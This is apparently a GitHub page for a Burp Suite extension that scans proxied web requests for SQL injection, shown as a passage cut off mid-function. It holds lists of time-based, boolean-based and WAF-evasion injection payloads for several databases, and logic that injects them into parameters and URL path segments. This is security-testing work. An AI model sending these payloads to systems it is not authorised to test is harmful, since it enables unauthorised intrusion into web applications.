-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsqli_newest__1_ (1).py
More file actions
1287 lines (1142 loc) · 58.4 KB
/
Copy pathsqli_newest__1_ (1).py
File metadata and controls
1287 lines (1142 loc) · 58.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from burp import ITab
from burp import IBurpExtender
from burp import IHttpListener
from burp import IContextMenuFactory
from burp import IMessageEditorController
from burp import IHttpRequestResponse
from burp import IHttpRequestResponseWithMarkers
from burp import IHttpService
from burp import ITextEditor
from javax.swing import JList
from javax.swing import JTable
from javax.swing import JFrame
from javax.swing import JLabel
from javax.swing import JPanel,JTextField
from javax.swing import JToggleButton
from javax.swing import JCheckBox
from javax.swing import JMenuItem
from javax.swing import JTextArea
from javax.swing import JTree
from javax.swing.tree import TreePath
from javax.swing import JPopupMenu
from javax.swing import JSplitPane
from javax.swing import JEditorPane
from javax.swing import JScrollPane
from javax.swing import JTabbedPane
from javax.swing import SwingUtilities
from javax.swing.table import TableRowSorter
from javax.swing.table import AbstractTableModel
from javax.swing.tree import DefaultMutableTreeNode
from javax.swing.tree import DefaultTreeCellRenderer
from javax.swing.tree import DefaultTreeModel
from javax.swing.text.html import HTMLEditorKit
from threading import Lock
from java.io import File
from java.net import URL
from java.net import URLEncoder
from java.awt import Color
from java.awt import Dimension
from java.awt import BorderLayout
from java.awt.event import MouseAdapter
from java.awt.event import ActionListener
from java.awt.event import AdjustmentListener
from java.util import LinkedList
from java.util import ArrayList
from java.lang import Runnable
from java.lang import Integer
from java.lang import String
from java.lang import Math
from thread import start_new_thread
from array import array
import datetime
import re, json, time
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IContextMenuFactory, IHttpRequestResponseWithMarkers, ITextEditor):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
#Initialize callbacks to be used later
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("SQLi Detector")
self._log = ArrayList()
#_log used to store our outputs for a URL, which is retrieved later by the tool
self._lock = Lock()
#Lock is used for locking threads while updating logs in order such that no multiple updates happen at once
self.intercept = 0
self.FOUND = "Found"
self.CHECK = "Possible! Check Manually"
self.NOT_FOUND = "Not Found"
#Static Values for output
#Initialize GUI
self.issuesTab()
self.advisoryReqResp()
self.configTab()
self.blindSQLiTab()
self.tabsInit()
self.definecallbacks()
print("Thank You for Installing SQL Injection Detector Tool")
return
#
#Initialize Issues Tab displaying the JTree
#
def issuesTab(self):
self.root = DefaultMutableTreeNode('Issues')
frame = JFrame("Issues Tree")
self.tree = JTree(self.root)
self.rowSelected = ''
self.tree.addMouseListener(mouseclick(self))
self.issuepanel = JScrollPane()
self.issuepanel.setPreferredSize(Dimension(300,450))
self.issuepanel.getViewport().setView((self.tree))
frame.add(self.issuepanel,BorderLayout.CENTER)
#
#Adding Issues to Issues TreePath
#
def addIssues(self, branch, branchData=None):
if branchData == None:
branch.add(DefaultMutableTreeNode('No valid data'))
else:
for item in branchData:
branch.add(DefaultMutableTreeNode(item))
def blindSQLiTab(self):
blindSQLiConfig=JLabel("Blind SQLi Config")
self.blindSQLi = JToggleButton("Blind SQLi Off", actionPerformed=self.startorstopBlindSQLi)
self.blindSQLi.setBounds(40, 30, 200, 30)
self.blindSQLiLabel=JLabel("Add the Blind SQLi Payloads or use the default list")
self.blindSQLiLabel.setBounds(40, 60, 450, 30)
self._cbMssqlBased = JCheckBox('MSSQL', False,actionPerformed=self.selectPayloads)
self._cbMssqlBased.setToolTipText("Select database to include.")
self._cbMssqlBased.setBounds(40, 80, 100, 30)
self._cbMysqlBased = JCheckBox('MYSQL', False,actionPerformed=self.selectPayloads)
self._cbMysqlBased.setToolTipText("Select database to include.")
self._cbMysqlBased.setBounds(120, 80, 100, 30)
self._cbPostgresBased = JCheckBox('POSTGRESQL', False,actionPerformed=self.selectPayloads)
self._cbPostgresBased.setToolTipText("Select database to include.")
self._cbPostgresBased.setBounds(200, 80, 150, 30)
self._cbOracleBased = JCheckBox('ORACLE', False,actionPerformed=self.selectPayloads)
self._cbOracleBased.setToolTipText("Select database to include.")
self._cbOracleBased.setBounds(320, 80, 100, 30)
self.blindSQLiPayloads = JTextArea("", 5, 30)
blindSQLiPayloads = JScrollPane(self.blindSQLiPayloads)
blindSQLiPayloads.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED)
blindSQLiPayloads.setBounds(40, 130, 400, 100)
self.blindSQLitab = JPanel()
self.blindSQLitab.setLayout(None)
self.blindSQLitab.setBounds(0, 0, 300, 300)
self.blindSQLitab.add(blindSQLiConfig)
self.blindSQLitab.add(self.blindSQLi)
self.blindSQLitab.add(self.blindSQLiLabel)
self.blindSQLitab.add(self._cbMssqlBased)
self.blindSQLitab.add(self._cbMysqlBased)
self.blindSQLitab.add(self._cbPostgresBased)
self.blindSQLitab.add(self._cbOracleBased)
self.blindSQLitab.add(blindSQLiPayloads)
def selectPayloads(self,event):
mysqlPayloads=["' and sleep(5) -- ","\" and sleep(5) -- "," and sleep(5) -- "," and 1337=(select 1337 from (select sleep(5))A) -- ","' and 1337=(select 1337 from (select sleep(5))A) -- ","\" and 1337=(select 1337 from (select sleep(5))A) -- ","';select sleep(5) -- ","\";select sleep(5) -- ","; select sleep(5) -- "]
mssqlPayloads=["';waitfor delay '00:00:05' -- ","\";waitfor delay '00:00:05' -- ",";waitfor delay '00:00:05' -- "]
postgresqlPayloads=[" and 1337=(select 1337 from pg_sleep(5)) -- ","\" and 1337=(select 1337 from pg_sleep(5)) -- ","' and 1337=(select 1337 from pg_sleep(5)) -- ","';select pg_sleep(5) -- ",";select pg_sleep(5) -- ","\";select pg_sleep(5) -- "]
oraclePayloads=[" and 1337=dbms_pipe.receive_message(('a'),5) -- ","' and 1337=dbms_pipe.receive_message(('a'),5) -- ","\" and 1337=dbms_pipe.receive_message(('a'),5) -- ","';select case when 39=39 then 'a'||dbms_pipe.receive_message(('a'),5) else null end from dual -- ","\";select case when 39=39 then 'a'||dbms_pipe.receive_message(('a'),5) else null end from dual -- ","\";select case when 39=39 then 'a'||dbms_pipe.receive_message(1,5) else null end from dual -- "]
self.finalPayloads=[]
if(self._cbMysqlBased.isSelected()):
self.finalPayloads=self.finalPayloads+mysqlPayloads
if(self._cbMssqlBased.isSelected()):
self.finalPayloads=self.finalPayloads+mssqlPayloads
if(self._cbOracleBased.isSelected()):
self.finalPayloads=self.finalPayloads+oraclePayloads
if(self._cbPostgresBased.isSelected()):
self.finalPayloads=self.finalPayloads+postgresqlPayloads
textToDisplay="\n".join(self.finalPayloads)
self.blindSQLiPayloads.setText(textToDisplay)
def startorstopBlindSQLi(self, event):
if self.blindSQLi.getText() == "Blind SQLi Off":
self.blindSQLi.setText("Blind SQLi On")
self.blindSQLi.setSelected(True)
self.blindSQLiToggleValue = 1
else:
self.blindSQLi.setText("Blind SQLi Off")
self.blindSQLi.setSelected(False)
self.blindSQLiToggleValue = 0
def configTab(self):
Config = JLabel("Config")
self.startButton = JToggleButton("Intercept Off", actionPerformed=self.startOrStop)
self.startButton.setBounds(40, 30, 200, 30)
self.delayPanel=JPanel()
self.delayPanel.add(JLabel("Enter the Time delay between each parameter testing"))
self.delayPanelTextField=JTextField()
self.delayPanel.add(self.delayPanelTextField)
self.autoScroll = JCheckBox("Auto Scroll")
self.autoScroll.setBounds(40, 60, 200, 30)
self.delayLabel=JLabel("Enter the delay between each parameter testing in sec: ")
self.delayLabel.setBounds(40, 90, 450, 30)
self.delayField=JTextField(10)
self.delayField.setBounds(335, 90, 40, 25)
self.parameterExclusionLabel=JLabel("Enter the parameters needed to excluded in the format(param1,param2): ")
self.parameterExclusionLabel.setBounds(40, 120, 450, 30)
self.parameterExclusionText = JTextArea("", 5, 30)
parameterExclusionText = JScrollPane(self.parameterExclusionText)
parameterExclusionText.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED)
parameterExclusionText.setBounds(40, 150, 400, 100)
self.configtab = JPanel()
self.configtab.setLayout(None)
self.configtab.setBounds(0, 0, 300, 300)
self.configtab.add(Config)
self.configtab.add(self.startButton)
self.configtab.add(self.delayLabel)
self.configtab.add(self.delayField)
self.configtab.add(self.parameterExclusionLabel)
self.configtab.add(parameterExclusionText)
# self.configtab.add(JLabel("Enter the Time delay between each parameter testing"))
self.configtab.add(self.autoScroll)
def startOrStop(self, event):
if self.startButton.getText() == "Intercept Off":
self.startButton.setText("Intercept On")
self.startButton.setSelected(True)
self.intercept = 1
else:
self.startButton.setText("Intercept Off")
self.startButton.setSelected(False)
self.intercept = 0
def advisoryReqResp(self):
self.textfield = JEditorPane("text/html", "")
self.kit = HTMLEditorKit()
self.textfield.setEditorKit(self.kit)
self.doc = self.textfield.getDocument()
self.textfield.setEditable(0)
self.advisorypanel = JScrollPane()
self.advisorypanel.getVerticalScrollBar()
self.advisorypanel.setPreferredSize(Dimension(300,450))
self.advisorypanel.getViewport().setView((self.textfield))
self.selectedreq = []
self._requestViewer = self._callbacks.createMessageEditor(self, False)
self._responseViewer = self._callbacks.createMessageEditor(self, False)
self._texteditor = self._callbacks.createTextEditor()
self._texteditor.setEditable(False)
#
#Initialize Trishul Tabs
def tabsInit(self):
self.logTable = Table(self)
tableWidth = self.logTable.getPreferredSize().width
self.logTable.getColumn("#").setPreferredWidth(Math.round(tableWidth / 50 * 0.1))
self.logTable.getColumn("Method").setPreferredWidth(Math.round(tableWidth / 50 * 3))
self.logTable.getColumn("URL").setPreferredWidth(Math.round(tableWidth / 50 * 40))
self.logTable.getColumn("Parameters").setPreferredWidth(Math.round(tableWidth / 50 * 1))
self.logTable.getColumn("SQLi").setPreferredWidth(Math.round(tableWidth / 50 * 4))
self.logTable.getColumn("Request Time").setPreferredWidth(Math.round(tableWidth / 50 * 4))
self.tableSorter = TableRowSorter(self)
self.logTable.setRowSorter(self.tableSorter)
self._bottomsplit = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
self._bottomsplit.setDividerLocation(500)
self.issuetab = JTabbedPane()
# self.blindSQLitab=JTabbedPane()
self.issuetab.addTab("Config",self.configtab)
self.issuetab.addTab("Issues",self.issuepanel)
self.issuetab.addTab("Blind SQLi", self.blindSQLitab)
self._bottomsplit.setLeftComponent(self.issuetab)
self.tabs = JTabbedPane()
self.tabs.addTab("Advisory",self.advisorypanel)
self.tabs.addTab("Request", self._requestViewer.getComponent())
self.tabs.addTab("Response", self._responseViewer.getComponent())
self.tabs.addTab("Highlighted Response", self._texteditor.getComponent())
self._bottomsplit.setRightComponent(self.tabs)
self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
self._splitpane.setDividerLocation(450)
self._splitpane.setResizeWeight(1)
self.scrollPane = JScrollPane(self.logTable)
self._splitpane.setLeftComponent(self.scrollPane)
self.scrollPane.getVerticalScrollBar().addAdjustmentListener(autoScrollListener(self))
self._splitpane.setRightComponent(self._bottomsplit)
def definecallbacks(self):
self._callbacks.registerHttpListener(self)
self._callbacks.customizeUiComponent(self._splitpane)
self._callbacks.customizeUiComponent(self.logTable)
self._callbacks.customizeUiComponent(self.scrollPane)
self._callbacks.customizeUiComponent(self._bottomsplit)
self._callbacks.registerContextMenuFactory(self)
self._callbacks.addSuiteTab(self)
#
#Menu Item to send Request to Trishul
#
def createMenuItems(self, invocation):
responses = invocation.getSelectedMessages()
if responses > 0:
ret = LinkedList()
requestMenuItem = JMenuItem("Send request to SQLi Detector")
for response in responses:
requestMenuItem.addActionListener(handleMenuItems(self,response, "request"))
ret.add(requestMenuItem)
return ret
return None
#
#Highlighting Response
#
def markHttpMessage( self, requestResponse, responseMarkString ):
responseMarkers = None
if responseMarkString:
response = requestResponse.getResponse()
responseMarkBytes = self._helpers.stringToBytes( responseMarkString )
start = self._helpers.indexOf( response, responseMarkBytes, False, 0, len( response ) )
if -1 < start:
responseMarkers = [ array( 'i',[ start, start + len( responseMarkBytes ) ] ) ]
requestHighlights = [array( 'i',[ 0, 5 ] )]
return self._callbacks.applyMarkers( requestResponse, requestHighlights, responseMarkers )
def getTabCaption(self):
return "SQL Injection Detector"
def getUiComponent(self):
return self._splitpane
#
#Table Model to display URL's and results based on the log size
def getRowCount(self):
try:
return self._log.size()
except:
return 0
def getColumnCount(self):
return 6
def getColumnName(self, columnIndex):
data = ['#','Method', 'URL', 'Parameters', 'SQLi', "Request Time"]
try:
return data[columnIndex]
except IndexError:
return ""
def getColumnClass(self, columnIndex):
data = [Integer, String, String, Integer, String, String]
try:
return data[columnIndex]
except IndexError:
return ""
#Get Data stored in log and display in the respective columns
def getValueAt(self, rowIndex, columnIndex):
logEntry = self._log.get(rowIndex)
if columnIndex == 0:
return rowIndex+1
if columnIndex == 1:
return logEntry._method
if columnIndex == 2:
return logEntry._url.toString()
if columnIndex == 3:
return len(logEntry._parameter)
if columnIndex == 4:
return logEntry._SQLiStatus
if columnIndex == 5:
return logEntry._req_time
return ""
def getHttpService(self):
return self._currentlyDisplayedItem.getHttpService()
def getRequest(self):
return self._currentlyDisplayedItem.getRequest()
def getResponse(self):
return self._currentlyDisplayedItem.getResponse()
def processHttpMessage(self, toolFlag, messageIsRequest, messageInf):
if self.intercept == 1:
if toolFlag == self._callbacks.TOOL_PROXY:
if not messageIsRequest:
requestInfo = self._helpers.analyzeRequest(messageInf)
requeststr = requestInfo.getUrl()
parameters = requestInfo.getParameters()
param_new = [p for p in parameters if p.getType() != 2]
if len(param_new) != 0:
if self._callbacks.isInScope(URL(str(requeststr))):
start_new_thread(self.sendRequestToSQLiDetector,(messageInf,))
return
def replaceInJSONRequestBody(self, oldjsonreq, param_name, param_value, value):
"""
Fully-recursive JSON body replacement.
Handles dicts, lists of dicts, lists of scalars, and arbitrary nesting depth.
The original had a Python gotcha: type(x is not dict) is always bool.
Fixed version uses isinstance() throughout and iterates every list element.
"""
if isinstance(oldjsonreq, dict):
for zz in list(oldjsonreq.keys()):
if isinstance(oldjsonreq[zz], dict):
# Recurse into nested object
oldjsonreq[zz] = self.replaceInJSONRequestBody(oldjsonreq[zz], param_name, param_value, value)
elif isinstance(oldjsonreq[zz], list):
# Recurse into array (handles list-of-dicts at any depth)
oldjsonreq[zz] = self.replaceInJSONRequestBody(oldjsonreq[zz], param_name, param_value, value)
else:
# Scalar value – replace if key and value both match
if zz == param_name and (
(str(oldjsonreq[zz]).lower() == str(param_value).lower()) or
oldjsonreq[zz] is None
):
oldjsonreq[zz] = value
elif isinstance(oldjsonreq, list):
for idx in range(len(oldjsonreq)):
item = oldjsonreq[idx]
if isinstance(item, dict) or isinstance(item, list):
oldjsonreq[idx] = self.replaceInJSONRequestBody(item, param_name, param_value, value)
# scalar list items don't carry a key, so can't match param_name
return oldjsonreq
# ====================================================================
# NEW HELPER METHODS
# ====================================================================
def detectParamContext(self, param_value):
"""
Determine injection context so payloads can be tailored:
'numeric' – pure integer or decimal (no quotes needed in query)
'uuid' – UUID string (treated like string context)
'string' – everything else
"""
val = str(param_value).strip()
if re.match(r'^\d+(\.\d+)?$', val):
return 'numeric'
if re.match(r'^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$', val, re.I):
return 'uuid'
return 'string'
def getBooleanPayloadPairs(self, ctx):
"""
Return a list of (true_payload, false_payload) tuples for boolean-based
blind detection. Each pair must produce a clearly different response for
the false condition vs the true condition.
Includes WAF-evasion variants using comment-based whitespace substitution.
Two confirmed pairs → FOUND; one → Possible.
"""
if ctx == 'numeric':
return [
(' AND 1=1-- -', ' AND 1=2-- -'),
(' AND 2=2-- -', ' AND 2=3-- -'),
(' AND/**/1=1-- -', ' AND/**/1=2-- -'), # WAF evasion
(' OR 1=1-- -', ' OR 1=2-- -'), # OR-context
]
else:
# String / UUID context – need to close the string first
return [
("' AND '1'='1'-- -", "' AND '1'='2'-- -"),
("\" AND \"1\"=\"1\"-- -", "\" AND \"1\"=\"2\"-- -"),
("' AND 'x'='x'-- -", "' AND 'x'='y'-- -"),
("'/**/AND/**/'1'='1'-- -", "'/**/AND/**/'1'='2'-- -"), # WAF evasion
]
def getTimeBasedPayloads(self, ctx):
"""
Return context-aware time-based payloads covering MySQL, MSSQL,
PostgreSQL, and Oracle. Each payload requests a 5-second delay.
Numeric context uses no quotes; string context uses single or double
quotes. WAF-evasion variants use inline comments instead of spaces.
"""
if ctx == 'numeric':
return [
# MySQL
' AND SLEEP(5)-- -',
' AND 1337=(SELECT 1337 FROM (SELECT SLEEP(5))A)-- -',
# MSSQL
'; WAITFOR DELAY \'0:0:5\'-- -',
# PostgreSQL
' AND 1337=(SELECT 1337 FROM PG_SLEEP(5))-- -',
# Oracle
' AND 1337=DBMS_PIPE.RECEIVE_MESSAGE((\'a\'),5)-- -',
# WAF-evasion (comment whitespace)
' AND/**/SLEEP(5)-- -',
' AND/**/(SELECT*FROM(SELECT(SLEEP(5)))A)-- -',
]
else:
return [
# MySQL – single quote context
"' AND SLEEP(5)-- -",
"' AND 1337=(SELECT 1337 FROM (SELECT SLEEP(5))A)-- -",
# MSSQL – single quote
"'; WAITFOR DELAY '0:0:5'-- -",
# PostgreSQL – single quote
"' AND 1337=(SELECT 1337 FROM PG_SLEEP(5))-- -",
# Oracle – single quote
"' AND 1337=DBMS_PIPE.RECEIVE_MESSAGE(('a'),5)-- -",
# MySQL – double quote context
"\" AND SLEEP(5)-- -",
"\"; WAITFOR DELAY '0:0:5'-- -",
"\" AND 1337=(SELECT 1337 FROM PG_SLEEP(5))-- -",
# WAF evasion variants
"' AND/**/SLEEP(5)-- -",
"'/**/AND/**/(SELECT*FROM(SELECT(SLEEP(5)))A)-- -",
]
def extractPathParams(self, requestURL):
"""
Walk every segment of the URL path and return (segment_value, segment_index)
for segments that look like numeric IDs or UUIDs.
These are common injection points that Burp's parameter parser misses entirely.
Returns: list of (str, int) tuples
"""
path = requestURL.getPath()
segments = path.split('/')
result = []
uuid_re = re.compile(
r'^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$',
re.I
)
for idx, seg in enumerate(segments):
if not seg:
continue
if re.match(r'^\d+$', seg) or uuid_re.match(seg):
result.append((seg, idx))
return result
def buildRequestWithPathSegment(self, request, requestURL, seg_idx, new_value):
"""
Clone the request but with path segment at seg_idx replaced by new_value.
Only touches the first line (request line) to avoid corrupting Host headers.
Returns modified request as byte array, or original on error.
"""
try:
request_str = self._helpers.bytesToString(request)
path = requestURL.getPath()
segments = path.split('/')
if seg_idx >= len(segments):
return request
segments[seg_idx] = new_value
new_path = '/'.join(segments)
# Replace ONLY in the request line, not anywhere else in the headers
newline_pos = request_str.find('\n')
if newline_pos == -1:
return request
first_line = request_str[:newline_pos]
rest = request_str[newline_pos:]
new_first_line = first_line.replace(path, new_path, 1)
return self._helpers.stringToBytes(new_first_line + rest)
except Exception as e:
print("[buildRequestWithPathSegment] " + str(e))
return request
def testPathParams(self, Comp_req, request, requestURL, requestBody, headers,
param_new, resultsqli, sqlireqresp, sqli_description,
excludedParameters, delay, sqliflag):
"""
Extract numeric and UUID path segments from the URL, run the full
detection pipeline (error-based → boolean-blind → time-based-with-baseline)
on each, and append results to the caller's lists in-place.
Uses PathParam objects so that the existing tree/advisory UI can display
path-param findings exactly like regular parameter findings.
Returns updated sqliflag.
"""
path_segs = self.extractPathParams(requestURL)
if not path_segs:
return sqliflag
# error_array is normally set inside the per-parameter loop;
# use getattr so we don't crash if param_new was empty.
ea = getattr(self, 'error_array', [])
for (seg_val, seg_idx) in path_segs:
param_name = "path[" + str(seg_idx) + "]=" + seg_val
if param_name in excludedParameters:
continue
pp = PathParam(param_name, seg_val, seg_idx)
param_new.append(pp)
score = 0
SQLiimp = self.NOT_FOUND
pp_ctx = self.detectParamContext(seg_val)
pp_desc = ""
pp_atk = None
pp_found = None
# --- Stage 1: Error-Based ---
for kk in ['"', ';', "'"]:
test_val = seg_val + kk
mod_req = self.buildRequestWithPathSegment(
request, requestURL, seg_idx, self._helpers.urlEncode(test_val))
atk = self.makeRequest(Comp_req, mod_req)
resp = atk.getResponse()
resp_body = resp[self._helpers.analyzeResponse(resp).getBodyOffset():].tostring()
for j in ea:
if re.search(j, resp_body):
pp_desc = ("[Path Param – Error-Based] SQL error matched regex '" + j +
"' in path segment <b>" + seg_val + "</b> (position " +
str(seg_idx) + "). Confirm with SQLMap or Ghauri.")
score += 3
pp_atk = atk
pp_found = True
break
if pp_found:
break
# --- Stage 2: Boolean-Based Blind ---
if pp_found is None:
bl_atk = self.makeRequest(Comp_req, request)
bl_resp = bl_atk.getResponse()
bl_len = len(bl_resp[self._helpers.analyzeResponse(bl_resp).getBodyOffset():].tostring())
bl_st = self._helpers.analyzeResponse(bl_resp).getStatusCode()
bool_pairs = self.getBooleanPayloadPairs(pp_ctx)
bool_confirmed = 0
bool_last_atk = None
b_t_len = b_f_len = b_t_st = b_f_st = 0
for (true_pl, false_pl) in bool_pairs:
t_req = self.buildRequestWithPathSegment(
request, requestURL, seg_idx,
self._helpers.urlEncode(seg_val + true_pl))
f_req = self.buildRequestWithPathSegment(
request, requestURL, seg_idx,
self._helpers.urlEncode(seg_val + false_pl))
t_atk = self.makeRequest(Comp_req, t_req)
t_resp = t_atk.getResponse()
t_len = len(t_resp[self._helpers.analyzeResponse(t_resp).getBodyOffset():].tostring())
t_st = self._helpers.analyzeResponse(t_resp).getStatusCode()
f_atk = self.makeRequest(Comp_req, f_req)
f_resp = f_atk.getResponse()
f_len = len(f_resp[self._helpers.analyzeResponse(f_resp).getBodyOffset():].tostring())
f_st = self._helpers.analyzeResponse(f_resp).getStatusCode()
TOL = 50
true_ok = (abs(t_len - bl_len) <= TOL and t_st == bl_st)
false_diff = (abs(f_len - bl_len) > TOL or f_st != bl_st)
t_f_diff = (abs(t_len - f_len) > TOL or t_st != f_st)
if true_ok and false_diff and t_f_diff:
bool_confirmed += 1
bool_last_atk = t_atk
b_t_len = t_len; b_f_len = f_len
b_t_st = t_st; b_f_st = f_st
if bool_confirmed >= 2:
break
if bool_confirmed >= 2:
score += 2
pp_desc = ("[Path Param – Boolean-Based Blind] Differential confirmed "
"with 2 independent pairs in path segment <b>" + seg_val +
"</b>. TRUE: " + str(b_t_len) + " bytes/" + str(b_t_st) +
", FALSE: " + str(b_f_len) + " bytes/" + str(b_f_st) +
". Confirm with SQLMap or Ghauri.")
pp_atk = bool_last_atk
pp_found = True
elif bool_confirmed == 1:
score += 1
pp_desc = ("[Path Param – Boolean-Based Blind – Tentative] Single-pair "
"differential in path segment <b>" + seg_val +
"</b>. Confirm with SQLMap or Ghauri.")
pp_atk = bool_last_atk
pp_found = True
# --- Stage 3: Time-Based with Baseline ---
if pp_found is None:
bl_times = []
for _b in range(3):
_t0 = time.time()
self.makeRequest(Comp_req, request)
bl_times.append(time.time() - _t0)
baseline_rtt = sum(bl_times) / len(bl_times)
threshold = baseline_rtt + 4.5
for tp in self.getTimeBasedPayloads(pp_ctx):
tp_req = self.buildRequestWithPathSegment(
request, requestURL, seg_idx,
self._helpers.urlEncode(seg_val + tp))
tp_t0 = time.time()
tp_atk = self.makeRequest(Comp_req, tp_req)
tp_diff = time.time() - tp_t0
if tp_diff >= threshold:
# Confirm: send the same payload a second time
tp2_t0 = time.time()
tp2_atk = self.makeRequest(Comp_req, tp_req)
tp2_diff = time.time() - tp2_t0
if tp2_diff >= threshold:
score += 2
pp_desc = ("[Path Param – Time-Based Blind] Consistent delay of ~" +
str(round(tp_diff, 2)) + "s (baseline: " +
str(round(baseline_rtt, 2)) + "s) for payload <b>" + tp +
"</b> in path segment <b>" + seg_val +
"</b>. Confirmed on 2 requests. Confirm with SQLMap.")
pp_atk = tp_atk
pp_found = True
break
# Ensure we always store a request/response even for Not Found segments
if pp_atk is None:
pp_atk = self.makeRequest(Comp_req, request)
sqlireqresp.append(pp_atk)
sqli_description.append(pp_desc)
if score >= 2:
SQLiimp = self.FOUND
elif score >= 1:
SQLiimp = self.CHECK
resultsqli.append(SQLiimp)
sqliflag = self.checkBetterScore(score, sqliflag)
time.sleep(delay)
return sqliflag
# ====================================================================
# END NEW HELPER METHODS
# ====================================================================
def sendRequestToSQLiDetector(self,messageInfo):
request = messageInfo.getRequest()
req_time = datetime.datetime.today()
requestURL = self._helpers.analyzeRequest(messageInfo).getUrl()
messageInfo = self._callbacks.makeHttpRequest(self._helpers.buildHttpService(str(requestURL.getHost()), int(requestURL.getPort()), requestURL.getProtocol() == "https"), request)
resp_time = datetime.datetime.today()
time_taken = (resp_time - req_time).total_seconds()
response = messageInfo.getResponse()
#initialozations of default value
SQLiimp = self.NOT_FOUND
Comp_req = messageInfo
requestInfo = self._helpers.analyzeRequest(messageInfo)
self.content_resp = self._helpers.analyzeResponse(response)
requestURL = requestInfo.getUrl()
requestBody=request[requestInfo.getBodyOffset():].tostring()
parameters = requestInfo.getParameters()
requeststring = self._helpers.bytesToString(request)
headers = requestInfo.getHeaders()
#Used to obtain GET, POST and JSON parameters from burp api
param_new = [p for p in parameters if p.getType() == 0 or p.getType() == 1 or p.getType() == 6]
i = 0
sqliflag=0
resultsqli = []
sqlireqresp = []
sqli_description = []
excludedParameters=self.parameterExclusionText.getText().split(",")
try:
delay=float(self.delayField.getText())
except Exception as e:
delay=0
for i in range(len(param_new)):
name = param_new[i].getName()
if(name not in excludedParameters):
ptype = param_new[i].getType()
param_value = param_new[i].getValue()
SQLiimp = self.NOT_FOUND
score = 0
singleQuoteValue=['\'','\'\'','\'\'\'','\'\'\'\'']
orig_time = datetime.datetime.today()
score=0
